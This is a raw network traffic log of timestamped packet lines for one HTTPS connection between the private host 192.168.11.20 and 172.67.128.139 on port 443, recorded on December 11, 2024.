Dec 11, 2024 12:44:36.815104961 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.815115929 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.815156937 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.815156937 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.815344095 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.816489935 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.816518068 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.816627979 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.816680908 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.816698074 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.816849947 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.817971945 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.818046093 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.818135023 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.818135023 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.818252087 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.818269014 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.818432093 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.818850040 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.818880081 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.818991899 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.819107056 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.819107056 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.819118023 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.819262981 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.820770979 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.820904970 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.820925951 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.820974112 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.820974112 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.820981979 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.821072102 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.821072102 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.821871996 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.821898937 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.822006941 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.822098017 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.822098017 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.822104931 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.822145939 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.823271990 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.823296070 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.823436022 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.823436022 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.823457003 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.823472023 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.823569059 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.823569059 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.824985981 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.825011015 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.825154066 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.825179100 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.825201035 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.825201035 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.825252056 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.825300932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.826519966 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.826545954 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.826653004 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.826700926 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.826700926 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.826718092 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.826776028 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.826776028 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.827253103 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.827285051 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.827403069 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.827423096 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.827492952 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.827492952 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.827517033 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.829181910 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.829205990 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.829346895 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.829395056 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.829412937 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.829524994 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.830761909 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.830786943 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.830904961 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.830929041 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.830945969 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.830945969 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.830991983 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.830991983 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.831064939 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.831901073 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.831928968 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.832067013 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.832067013 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.832092047 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.832225084 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.832245111 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.833707094 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.833734035 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.833880901 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.833880901 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.833901882 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.833918095 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.833918095 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.833918095 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.833990097 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.834912062 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.834935904 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.835099936 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.835099936 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.835122108 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.835136890 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.835211992 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.835211992 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.836600065 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.836626053 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.836745024 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.836745024 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.836756945 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.836826086 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.836848021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.836848021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.836920977 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.837790966 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.837814093 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.837996006 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.837996006 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.838017941 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.838110924 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.839350939 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.839374065 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.839519024 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.839519024 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.839540958 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.839556932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.839556932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.839631081 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.839652061 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.839914083 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.841062069 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.841083050 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.841212034 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.841212034 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.841289997 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.841289997 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.841310024 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.841331959 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.841403961 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.842099905 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.842132092 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.842255116 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.842255116 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.842277050 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.842365980 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.842365980 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.842365980 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.842391014 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.843523979 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.843548059 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.843650103 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.843664885 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.843699932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.843699932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.843749046 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.843795061 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.843795061 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.845148087 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.845171928 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.845288992 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.845288992 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.845386982 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.845392942 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.845432043 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.846889973 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.846915960 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.847028017 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.847037077 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.847147942 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.847147942 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.847172022 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.847846985 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.847877979 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.848017931 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.848017931 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.848118067 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.848138094 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.848151922 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.849510908 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.849539042 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.849697113 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.849697113 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.849709988 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.849747896 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.849843025 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.850761890 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.850790024 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.850908041 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.850908041 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.850927114 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.850956917 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.851075888 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.851097107 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.852629900 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.852657080 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.852843046 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.852843046 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.852859020 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.852919102 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.853601933 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.853635073 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.853765965 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.853780031 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.853857040 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.853857040 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.855544090 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.855572939 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.855782032 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.855835915 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.855835915 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.855999947 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.856019974 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.856080055 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.856345892 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.856378078 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.856508970 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.856508970 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.856520891 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.856652975 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.856703043 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.858247042 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.858273983 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.858407021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.858407021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.858485937 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.858506918 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.858602047 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.859810114 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.859838009 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.860032082 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.860045910 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.860174894 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.861218929 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.861242056 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.861460924 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.861481905 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.861573935 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.861573935 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.862910032 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.862938881 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.863075018 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.863075018 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.863095999 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.863111973 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.863111973 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.863188982 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.863188982 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.864036083 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.864058971 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.864180088 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.864180088 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.864196062 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.864255905 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.864278078 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.864324093 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.864907026 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.865633965 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.865664959 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.865775108 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.865775108 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.865849972 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.865849972 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.865873098 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.865958929 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.866600037 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.866631985 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.866766930 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.866766930 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.866787910 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.866803885 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.866803885 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.866916895 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.868614912 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.868635893 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.868803978 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.868803978 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.868825912 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.868840933 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.868916988 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.868916988 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.869673967 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.869704008 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.869851112 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.869851112 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.869873047 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.869930983 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.870002031 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.871459007 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.871478081 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.871613979 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.871629000 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.871699095 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.871699095 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.871728897 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.872349024 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.872375011 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.872665882 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.872665882 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.872689009 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.872860909 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.873223066 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.873620987 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.873620987 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.873620987 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.873641014 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.924686909 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.056901932 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.056915045 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.057090044 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.057179928 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.057187080 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.057389021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.057862043 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.057876110 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.058039904 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.058156013 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.058170080 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.058347940 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.058793068 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.058805943 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.058990002 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.058990002 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.059011936 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.059017897 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.059123993 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.059180021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.060528040 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.060540915 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.060703993 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.060703993 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.060719967 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.060808897 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.060914040 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.061578989 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.061592102 CET	443	49757	172.67.128.139	192.168.11.20
